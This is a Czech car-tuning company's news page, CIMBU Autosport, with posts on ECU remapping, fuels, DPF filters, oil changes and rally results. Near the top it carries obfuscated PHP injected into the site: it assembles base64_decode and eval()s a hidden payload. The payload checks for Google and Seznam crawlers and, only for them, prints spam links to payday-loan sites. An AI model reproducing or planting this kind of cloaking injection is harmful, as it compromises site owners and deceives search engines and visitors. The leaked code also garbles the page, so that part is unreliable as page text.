Javascript DHTML Drop Down Menu Powered by dhtml-menu-builder.comJavascript DHTML Drop Down Menu Powered by dhtml-menu-builder.comJavascript DHTML Drop Down Menu Powered by dhtml-menu-builder.com
ČESKY   |   SLOVENSKY   |   ENGLISH   |   MAGYARUL   |   POLSKI
NOVINKY
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYoKHByZWdfbWF0Y2goIi83Ny43NS43LyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKSBPUiAocHJlZ19tYXRjaCgiL2dvb2dsZXxzZXpuYW0vaSIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpe2VjaG8gJ0Nlc3RuYSBhIDxhIGhyZWY9Imh0dHA6Ly9yeWNobGEtd2ViLXB1amNrYS5jei8iPnJ5Y2hsYSBwdWpja2Egb25saW5lPC9hPiBwb211emUgVmFtIHZ5cmVzaXQgamFreWtvbGl2IHByb2JsZW0uIE5hYmlka2EgcHVqY2VrIG5hIGludGVybmV0dSBqZSBvYnJvdnNrYSwgYWxlIG5lanZpYyByZWZlcm5jZSBvZCBrbGllbnR1IG1hamkgPGEgaHJlZj0iaHR0cDovL3J5Y2hsYS1wdWpja2Etb2suY3ovIj5yeWNobGUgcHVqY2t5IE9LPC9hPiBrdGVyZSBqc291IG5lamFrY2VwdG92YW5lanNpIHplIHZzZWNoIHB1amNlay4gS3JvbWUgcGVuZXogb2Qgem5hbWVobyBieSB6YWplbWNlIG1vaGwga29udGFrdG92YXQgc3ZvdSBiYW5rdSBhIHpqaXN0aXQgemRhIG5hIGplaG8gdWN0dSBuZWx6ZSBha3Rpdm92YXQgdGFrenZhbnkga29udG9rb3JlbnQsIGNveiBqZSBwcmVjZXJwYW5pIHVjdHUgZG8gbWludXN1IChqZSB1cm9jZW5vIGpha28gPGEgaHJlZj0iaHR0cDovL29ubGluZS1yeWNobGUtcHVqY2t5LmN6L2luZGV4Lmh0bWwiPnJ5Y2hsYSBwdWpja2EgYmV6IHBvdHZyemVuw60gcHLDrWptdTwvYT4pLiBQdWpja3UgamRlIHrDrXNrYXQgZG9rb25jZSBpIG8gdmlrZW5kdSAtIDxhIGhyZWY9Imh0dHA6Ly9yeWNobGUtcHVqY2t5MjQuY3ovb25saW5lLXphZG9zdC1vLXJ5Y2hsb3UtcHVqY2t1Lmh0bWwiPnJ5Y2hsYSBwdWpja2Egbm9uc3RvcDwvYT4uIEpzb3UgaSBtb3pub3N0aSwgemUgcHVqY2thIGJ1ZGUgenJpemVuYSB2IHphc3RhdmFybmUgbmVibyBwb3NreXRvdmF0ZWx1IHR6di4gPGEgaHJlZj0iaHR0cDovL3J5Y2hsYS1wdWpja2FvbmxpbmUuY3ovb25saW5lLXphZG9zdC1vLXJ5Y2hsb3UtcHVqY2t1Lmh0bWwiPnJ5Y2hseWNoIHB1amNlayBwcmltbyBuYSBydWt1PC9hPi4nO30='));


  Ethanol - ano či ne?22. dubna 2014 
Mnoho lidí se dnes do práce a z ní dopravují vlastními motorovými vozidly, ale i celkový roční kilometrový proběh u soukromých vozidel stoupá. Stoupající tendenci mají pak i ceny klasických paliv pro spalovací motory, tedy benzinu a motorové nafty. Logický je pak požadavek motoristů na co nejnižší náklady na tyto cesty. Do nedávna byla klasická cesta úspory za provoz jasná, byla jí přestavba vozu spalující benzin na LPG. Dnes se možnosti rozrostly o CNG a Bioetanol, v síti čerpacích stanic mající označení E85. Protože se množí dotazy na naši firmu, zda montáže řídících jednotek, které mají zajistit konverzi na E85 provádíme, nebo zda provádíme úpravy motorového managmentu, aby motor mohl spalovat toto palivo, zde uvádím důvody, proč tomu tak není.

přečíst článek »


  Pick-up CIMBU Autosport na prodej!9. duben 2014 
Nabízíme k prodeji našeho firemního mazla - pořádně vytuněnou Škodu Pick-up! Pokud hledáte skutečně zábavné auto, tak tohle je to pravé!

popis vozu a fotografie »


  Jsme zde s Vámi již 25 let!14. ledna 2014 
CIMBU Autosport v letošním roce oslaví již 25. výročí založení firmy a 20 let úprav řídících jednotek. Rádi bychom poděkovali všem našim zákazníkům a obchodním partnerům za projevovanou podporu a těšíme se na další spolupráci v následujících letech.


  Zatékání do řídících jednotek21. října 2013 
V naší diagnostické praxi se občas setkáváme se zmateně se chovající či nekomunikující řídící jednotkou motoru. Na vině ve většině případů bývá vlhkost, která do řídící jednotky pronikne přes ventilek, který slouží k tomu, aby řídící jednotka mohla „dýchat“.

přečíst článek »


  Start-stop systém5. října 2013 
Zamýšlíme se nad přínosy a negativy plynoucími z používání čím dál rozšířenějšího systému start-stop v našich automobilech.

přečíst článek »


  Nový ceník pro rok 201322. února 2013 
Radikálně jsme snížili ceny úprav některých motorizací. Navštivte náš ceník a ověřte si, kolik nyní můžete při úpravě řídící jednotky ušetřit!

ceník »


  Novinky v naší nabídce16. února 2013 
V novém roce přinášíme velkou porci nových úprav řídících jednotek 1.6 TDI CR a 1.2 TSI pro všechny modely vozů Škoda. Přibyla také úprava pro Škodu Superb 3.6 FSI V6 191kW. Bližší informace u konkrétních motorizací v menu ÚPRAVY ŘJ.


  Vlastním Škodu Fabii 1,2 47 kW. Mám opakovaný problém se systémem zpětného vedení výfukových plynů. Umíte ho vyřešit?1. prosince 2012 
Postupem času se na starších motorech 1,2 47 kW začaly objevovat opakované problémy s EGR ventilem řídícím zpětné vedení výfukových plynů, navenek se projevující svítící kontrolkou elektroniky motoru, laiky nazývanou „ponorka“, „kohoutek“, „vrtulník“ nebo „grilované kuře“... Více informací naleznete v části FAQ.

pokračování »


  Zbyněk Harásek a Bronislav Slezák jsou mistry republiky sprintrally ve třídě dieselů10. listopadu 2012 
Gratulujeme posádce Zbyněk Harásek – Bronislav Slezák k suverénnímu vítězství v seriálu Mistrovství České republiky ve sprintrally ve třídě dieselů. Startovali s vozem Škoda Fabia 1,9 TDI s řídící jednotkou motoru upravenou naší firmou.


  Nově v nabídce motory 1.6 TDI CR14. července 2012 
Do nabídky nabídky přibyla možnost úpravy motorů 1.6 TDI CR vozů Škoda Fabia, Roomster a Octavia. Technické parametry úpravy připravujeme, další informace rádi sdělíme telefonicky.


  Jak je to v zimě s naftou u dieselových motorů?10. prosince 2011 
V tomto článku najdou všichni majitelé dieselových motorů vysvětlení, proč nejde v zimě jezdit na letní naftu a několik dalších dobrých rad, jak i v zimních mrazech udržet dieselové auto mobilní. Autorem článku je pan Martin Vaculík z magazínu Světa motorů DIESEL Speciál.

přečíst článek »


  INZERCE13. srpna 2011 
Prodám tlumiče zn. TEIN na Subaru Impreza STI N14
cena: 20.000 Kč bez DPH / původní cena: 65.000 Kč

Možnost plynulého seřízení světlé výšky, 9 poloh seřízení tvrdosti tlumičů.
Přední tlumiče po repasi u autorizovaného TEIN servisu, zadní najeto 40.000 km.

kontakt »


  Výměna rozvodového řemene a kladek u 2.0 FSI 110kW až ve 180.000km?4. května 2011 
U motorů 2.0l FSI 110 kW nařizuje výrobce z neznámých důvodů výměnu rozvodového řemenu a kladek po ujetí 180.000 km bez omezení času. Během krátké chvíle jsem se setkal s několika případy tzv. „potkaných“ motorů tohoto typu při proběhu 140–150.000 km.

pokračování »


  Benzin 98 oktanů ano, či ne?10. března 2011 
Někteří výrobci automobilů doporučují či přímo nakazují tankovat do vozů s benzinovými motory palivo BA 98 oktanů. Zpravidla se jedná o vysoce výkonné modely, poslední dobou díky downsizingu (zmenšování objemů) se to začíná týkat i modelů, kde nebylo toto palivo vyžadováno.

pokračování »


  Potíže s DPF filtrem u Octavií II RS 2.0 TDI PD 125kW13. února 2011 
U některých sériových aut se v městském provozu stává, že nedojde k regeneraci DPF filtru, na přístrojové desce se potom rozsvítí jeho symbol. V tomto případě musíte navštívit autorizovaný servis, či soukromníka s potřebným vybavením a znalostmi a spustit tzv. řízenou regeneraci. U automobilů s najetými více jak 120 000 km však autorizovaný servis dle servisního plánu vyžaduje výměnu samotného DPF, která je však dle našich zkušeností zbytečná.

více informací naleznete přímo v popisu úpravy »


  V motoru 1.2 HTP měňte olej častěji, než předepisuje výrobce10. října 2010 
Pokud jste majitelem Fabie 1.2 HTP, víte, že na výměnu oleje máte chodit každých 15 000 km. Pokud vám na motoru záleží, dopřejte mu výměnu oleje častěji.

pokračování článku na serveru auto.pravda.sk »


  Je pravda, že motory Octavie 2,0 TDI PD 16V 103kW jsou poruchovější než 1,9 TDI PD 8V 77kW?8. září 2010 
Pokud plánujete nákup starší ojeté Octavie 2,0 TDI PD 103kW, tak jistě oceníte několik informací týkajících se poruchovosti těchto vozů. Více informací naleznete v části FAQ.

pokračování »


  Nízký výkon motorů 2,0 TFSI 147 kW25. srpna 2010 
V naší diagnostické praxi jsme se setkali s problémem nízkého točivého momentu a tím i výkonu motoru vozu Škoda Octavia 2,0 TFSI RS 147 kW. Příčinou bývají praskliny dosedací plochy klapky obtoku výfukové skříně turbodmychadla. Více informací a fotografie v článku.

pokračování »


  Spolupráce s časopisem AUTODIESEL17. února 2010 
V roce 2009 jsme navázali spolupráci s redakcí časopisu AUTODIESEL a z této spolupráce vzešlo několik článků, z nichž Vám některé nabízíme na našich stránkách k přečtení. Prvním je článek o problematických motorech 1.2 HTP a druhý se věnuje startování dieslových motorů v zimním období.

Odkaz na stažení článku o motorech 1.2 HTP
Odkaz ke stažení článku o startování dieslových motorů v zimním období


  Poškodili Vám v servise při pokusu o update software řídící jednotku motoru?1. září 2009 
V některých případech se může technik servisu domnívat, že je vhodné nebo nutné aktualizovat software řídící jednotky motoru. Bohužel může občas dojít při této operaci ke zničení řídící jednotky a nezáleží na tom, zda byla řídící jednotka sériová nebo již jednou upravovaná. Takto zablokovanou řídící jednotku je možné naprogramovat pouze pomocí speciálního postupu a technologie. Více informací naleznete v sekci FAQ - 23. otázka.

pokračování »


  Měření výkonu6. listopadu 2007 
Konstrukce moderních koncernových motorů umožňuje za jízdy měřit pomocí sériové diagnostiky točivý moment a z něj následně vypočítat aktuální výkon motoru (motorová brzda, nebo válcový dynamometr funguje obdobně).

Jelikož se rádi odlišujeme od naší konkurence, nabízíme Vám v rámci objednané úpravy možnost nechat si změřit točivý moment a výkon motoru před a po úpravě software ECU. Disponujeme také poměrně rozsáhlou databází měření, získané hodnoty je tedy možné okamžitě porovnat s měřeními na jiných automobilech.

Poplatek za měření činí 1.000,- Kč bez DPH a touto technologií je možné měřit všechny motory TDI-PD, 1.8T e-gas a motory FSI/TFSI/TSI.


  Opět na scéně: Long-life oleje23. září 2007 
Již v minulosti jsme upozorňovali na nevhodnost používání prodloužených intervalů výměny motorového oleje. Krátce jen zopakujme: vlivem přísad síry v našich palivech dochází k rychlé degradaci motorového oleje, paradoxně čím kvalitnějšího, tím rychlejší. Po ujetí cca 7 500 km u benzinových a 17 600 km u dieselových motorů dochází k naprostému vyčerpání přísad v plně syntetických olejích.

pokračování »


  Havárie turbodmychadel22. září 2007 
Průběžnou spoluprácí s více jak 90 servisy získáváme velmi cenné poznatky z provozu koncernových vozidel. Mezi ně patří i ty s poměrně vysokou poruchovostí turbodmychadel se zavedením prodloužených intervalů. Co je příčinou ? Dílem nízké mazací a naopak vysoké abrazivní vlastnosti motorových olejů jako následek až 30 000 km proběhu mezi výměnami, velmi často se však turbodmychadla porouchávají krátce po servisu na 60 000 km.

pokračování »
 

CHIPTUNING NEWS
-= Nově v nabídce =-
Úpravy OCTAVIA III TDI CR
1. července 2014
Novinkou v našem sortimentu jsou úpravy dieselových TDI CR motorů Octavie III v motorizacích 1.6 TDI CR, 2.0 TDI CR 110kW i 135kW RS. Parametry úpravy zveřejníme po provedení měření na motorové brzdě, nicméně zájemci již nyní mohou tuto úpravu objednávat.

Jak zachránit řidící jednotku po výměně vadného DPF filtru?
24. ledna 2014
Po vyčištění či výměně DPF filtru stále hlásí řídící jednotka motoru „vadný DPF filtr“. Běžným postupem je výměna ŘJ, my ji umíme zachránit.  »»»

Úpravy ŘJ pro vybrané Fabie nyní u nás pořídíte levněji
24. března 2012
Natrvalo jsme snížili cenu úpravy pro celkem šest nejoblíbeněnjších motorizací modelu Fabia - konkrétně 1.2 MPI HTP 40kW/44kW/47kW/51kW a 1.4 MPI 44kW/50kW. Nová cena je příjemných 3.000,- Kč bez DPH.

Používání nafty s cetanovým číslem 60 u TDI CR motorů
4. května 2011
Slyšel jsem, že motory TDI CR jsou náchylnější na používanou naftu než motory předchozí generace TDI PD. U jakých čerpacích stanic mám motorovou naftu tankovat a vyplatí se používat vysoce aktivovanou naftu s cetanovým číslem 60? Více viz FAQ č.26 »»»

Odstranění potíží s DPF filtrem
13. února 2011
U některých sériových aut se v městském provozu stává, že nedojde k regeneraci DPF filtru, na přístrojové desce se potom rozsvítí jeho symbol. »»»

Nové ŘJ v portfoliu
29. září 2010
V naší nabídce nově naleznete úpravy motorů 1.4 TSI 90/92kW pro vozy Škoda Octavia, Yeti a Superb. Nově nabízíme také úpravy vozů Fabia RS s motorizací 1.4 TSI 132kW.

Snížení cen některých motorizací
15. února 2010
Snížili jsme ceny některých motorizací. Navštivte sekci ceník a podívejte se, jestli mezi nimi není právě Váš vůz.

Chiptuning motorů Škoda YETI
28. ledna 2010
V naší nabídce přibyly motorizace vozů Škoda YETI. Připravujeme měření na motorové brzdě, jakmile bude dokončeno, umístíme do sekce Úpravy nové motorizace s popisem a tabulkou naměřených hodnot. Již nyní ale naleznete tyto motorizace v ceníku.

Nové ŘJ v portfoliu
18. května 2009
V našem sortimentu přibyly nové úpravy jednotek pro Octavie II a Superb II - motory 1.8 TSI 118kW a 2.0 TDI CR 125kW.

Škoda Octavia 1.6 MPI 75kW
19. ledna 2009
V našem sortimetu naleznete nově i software k optimalizaci přechodových stavů u této motorizace Škody Octavia.

Nové ŘJ v portfoliu
27. listopadu 2007
V našem sortimentu přibyly nové úpravy jednotek pro Fabie II a novinku u Roomsteru - motorizace 1.2 MPI HTP 51kW.

Výměna oleje u motorů 1.2 HTP
23. září 2007
Na bezporuchový chod tohoto motoru má zásadní vliv kvalita motorového oleje. Ta vzhledem k příměsím síry v našich palivech rapidně klesá, dle našich zkušeností je olej v benzinovém motoru po ujetých 7 500 km prakticky bez přísad a paradoxně čím kvalitnější olej použijete, tím rychlejší bude jeho degradace. Více informací naleznete u popisu jednodlivých úprav motorů 1.2 HTP

Octavia RS 125kW TDI PD DPF
19. prosince 2006
Denně jsme dotazováni, zda budeme upravovat i Octavii RS 125 kW TDI PD DPF. Zde uvádíme jako malý "dárek" pod stromek první výsledky měření z nově přizpůsobeného software ŘJ: točivý moment 420 N.m od 1 900 ot/min do 3 400 ot/min, výkon vrcholí na 173 kW při 4 150 ot/min. V současnosti probíhají ještě další zkušební jízdy se zaměřením na činnost filtru pevných částic a optimalizaci ekonomiky provozu. Vlastní úpravy plánujeme provádět od konce ledna 2007.
Doplnění: parametry úpravy zde

Zrychlení Octavie 2.0 TFSI RS
28. července 2006
Změřili jsme zrychlení nové Octavie RS před a po modifikaci software řídící jednotky. Výsledky měření si můžete prohlédnout pod odkazem níže.   »»»

Octavia II 1.9 TDI 77kW v testu serveru AUTO.CZ
1. listopadu 2005
Byli jsme osloveni redaktory prestižního serveru AUTO.CZ, kteří nás požádali o úpravu software řídící jednotky nové Octavie kombi 4x4 1.9 TDI 77kW. Celý test, včetně grafů z motorové brzdy si můžete přečíst po kliknutí na následující odkaz.  »»»

Fabia 1.2 HTP 40, 47kW
19. dubna 2004
Na základě zkušeností z provozu motorů Škoda Fabia 40/47 kW HTP jsme provedli zvýšení volnoběžných otáček ze 740 ot/min na 800 ot/min, přičemž se dají diagnostikou upravit až na 960 ot/min. Výsledkem je odstranění klepání převodovky slyšitelné u levého předního kola, ale hlavně usnadnění rozjezdů na křižovatkách apod. V poslední době mají o tuto úpravu zájem majitelé autoškol, jejichž žáci mají při rozjezdech se sériovou variantou problémy. I když nejste frekventanty autoškoly a máte problémy při rozjezdu, kontaktujte nás, věřte, že Vám pomůžeme. Pokud Vás trápí spotřeba nad 10l/100km i v tomto případě si víme rady.

Měřili jsme zrychlení Fabie 1.9 TDi PD
22. června 2003
Zákazníci se často ptají na změnu parametrů ve zrychlení: Podařilo se nám zajistit měřící aparát i zkušební dráhu pro náš zatím poslední produkt - Fabii RS.  »»»



NOVINKY - ARCHIV
Ukončení prodeje některých motorizací automobilů Škoda
27. ledna 2007
Na základě rozhodnutí koncernu VW se již od dubna letošního roku nebudou vyrábět modely Škoda Superb s motory 2.5 TDI V6 120 kW a modely Škoda Octavia/Combi s motory 2.0 TDI PD 103 kW. Pokud jste nákup některého z těchto modelů plánovali, doporučujeme neváhat a objednat jej co nejdříve.

"Nakupujte u odborníků"
12. února 2007
Na našem serveru opakovaně poukazujeme na velké množství podezřelých nabídek na zvyšování výkonů motorů. Potenciální zákazníci neznalí problematiky se často zaměřují jen na cenu a riskují tak nejen vynaložené prostředky, ale i zničení turbodmychadla, či jiných částí motoru. Tento článek se netýká ale pouze motorů po úpravně, ale každého, kdo vlastní automobil, který potřebuje čas od času větší či menší opravu.  »»»

Gratulace Václavu Pechovi
30. srpna 2006
Gratulujeme Václavu Pechovi s Petrem Uhlem k získání 2. místa absolutně a 2. místa ve třídě!

Barum rally 2006
30. srpna 2006
Stejně jako na Bohemia Rally získala posádka CIMBU Autosport zlatý pohár ve třídě i na letošní Barum Rally. V silné konkurenci nedala soupeřům šanci a opět dokázala že návrat ke Škodě Felicia Kit Car byl správnou volbou.

Pod vlajkou CIMBU Autosport
30. října 2005
Naše společnost se zabývá úpravami motorů a kde jinde by bylo možné otestovat jejich kvalitu více, než na tratích rychlostních zkoušek. Kromě jiných posádek soutěží s barvami CIMBU Autosport v šampionátu MMČR i Oldřich a Jiří Bočkovi se Škodou Octavia TDI, kteří si vítězstvím na XVI. Horácké rally zajistili i titul šampionů ve třídě D9. Gratulujeme! Zde Vám přinášíme několik fotografií na některé námi sponzorované jezdce a jejich vozy.  »»»

Gratulace Václavu Pechovi
29. října 2005
Velice nás těší, že můžeme pogratulovat Václavu Pechovi jr. k zisku obou letošních titulů - MMČR a MČR ve sprintrally. Že se jedná o cenná vítězství svědčí i fakt, že tohoto vyjímečného výsledku se mu podařilo dosáhnout jako prvnímu za historii obou šampionátů. Pro CIMBU Autosport jsou tyto tituly o to cennější, že jich Václav Pech dosáhnul za podpory naší společnosti.

Vítězství na Barum Rally 2005
25. srpna 2005
Jedna z nejtěžších soutěží MMČR, součást šampionátu ME, soutěž s aspirací na začlenění do seriálu mistrovství světa, zlínská Barum Rally přivítala posádku kitové Felicie v perfektní formě. V silné konkurenci třídy nenašla posádka CIMBU Autosport konkurenci a dojela si do cíle pro své letošní druhé prvenství. Gratulujeme.

Nová pohlednice
19. srpna 2005
S novým vozem nová pohlednice. Zájemci piště na info@cimbu.cz, sběratelé neváhejte, vytištěno bylo pouze omezené množství.  »»»

Bohemia Rally 2005
4. července 2005
Mr. Cimbu se po mnoha letech opět svezl s kitovou Felicií ve třídě A5. A tento speciál mu jde jak je vidět skutečně k pleti, neboť na této "domácí" soutěži načechral brka všem konkurentům ve třídě a z Bohemky odcházel s nejcennějším kovem v kapse. Gratulujeme k vítězství a doufáme že další na sebe nenechá dlouho čekat.

Power Box zevnitř
30. ledna 2005
O nebezpečích plynoucích z použití Power Boxů jsme již na těchto stránkách psali několikrát. Tentokrát máme pro Vás skutečnou lahůdku - podívejte se, jak vlastně takový Power Box uvnitř vypadá.Obrázky nepotřebují komentář a originál najdete na adrese http://obd.ec.cz/powerbox  »»»

Výrazné snížení cen
11. ledna 2005
S příchodem nového roku jsme výrazně snížili ceny za úpravu většiny řídících jednotek. Zvýhodněná cena na úpravy řídících jednotek motorů Škoda Octavia s turbodmychadlem do modelového roku 2000 platí samozřejmě i nadále.

Zátěž
19. prosince 2004
Vzhledem ke stavu naší chiptuningové „branže“ je jedním z velmi frekventovaných dotazů, zda naše úprava softwaru nemá vliv na životnost motoru (především se zákazníci ptají na "okamžitou" životnost, při dlouhodobé zátěži). Jeden z našich dlouholetých spokojených zákazníků a zároveň vynikajících zkušebních řidičů, jehož vzhledem k dále uváděným údajům nebudeme raději jmenovat, se s námi podělil o následující fascinující údaje: na trati Miláno – Mladá Boleslav zajel s námi upravenou Octavii II 2,0 l TDI PD neuvěřitelný průměr 164 km/h s průměrnou spotřebou 9,7 l/100 km. Instalací našeho motorového softwaru poklesla průměrná spotřeba o cca. 1 l/100 km (vůz má aktuálně najeto 6.000 km).

Diagnostika
17. září 2004
Každoročně s příchodem podzimu se na nás obracejí majitelé Octavií s benzinovými turbomotory ovládanými elektronickým plynem s dotazem na problémy s rozjížděním kuckajícího vozu. Vhodnou změnou software jsme schopni tuto závadu na počkání odstranit.

POZOR, SLEVA!
16. září 2004
Vlastníte vůz Škoda Octavia 1.8 turbo nebo 1.9 TDI s datem výroby do roku 2000 a přemýšlíte o úpravě řídící jednotky? Nyní již nemusíte váhat - trvale jsme snížili ceny za tyto úpravy na bezkonkurenčních 9 400 Kč bez DPH! Záruka na naši řídící jednotku samozřejmě zůstává nezměněna.

I v Anglii je chiptuning od CIMBU Autosport pojem
6. srpna 2004
Již druhé léto nás o své dovolené navštívil viceprezident anglického klubu majitelů vozů Škoda, Denis Osmond se svým Pick-upem Fun.  »»»

Příležitost pro sběratele
7. června 2004
CIMBU Autosport vydává při příležitosti desátého výročí působení na trhu pohlednici s naší krásnou Octavií KitCar.  »»»

Aktuální informace k diagnostice
20. dubna 2004
Stále častěji se věnujeme diagnostickým problémům elektronického systému řízení motoru. Zkušenosti z této činnosti jsou takové, že pokud to není pro nás běžná závada, kterou už jsme úspěšně vyřešili, kvůli které Vám však jinde jsou schopni bezdůvodně měnit řídící jednotku motoru, případně turbodmychadlo či jiné drahé příslušenství motoru, je třeba počítat i s několikadenní dobou na diagnostiku a případnou opravu. Časy diagnostiky na počkání jsou u složitějších problémů nenávratně pryč. Setkáváme se totiž u zanedbaných nebo neodborně opravovaných či upravovaných vozů i s několikanásobnými závadami, které se odhalují velice obtížně. Obecně však platí, že řídící jednotka motoru je ve většině případů to poslední, co způsobuje problémy.

CIMBU Autosport slaví 10. výročí!
10. dubna 2004
CIMBU Autosport oslaví letos již desáté výročí působení na trhu s chiptuningem. Věříme, že stejně jako v uplynulých deseti letech, budeme i nadále pro naše zákazníky synonymem kvality a profesionality v oblasti úprav řídících jednotek a budete se na nás s důvěrou i nadále obracet.

Pozor na tlakové mytí!
11. července 2003
V letním období se každoročně opakují potíže s poškozením řídící jednotky a ostatních el. částí vozu při mytí motoru tlakovou vodou. Více informací získáte v sekci FAQ.

Upozornění zákazníkům a partnerům
13. května 2003
Společnost LAMA s.r.o., ani pan Luděk Málek není a nebyl partnerem či zaměstnancem naší firmy.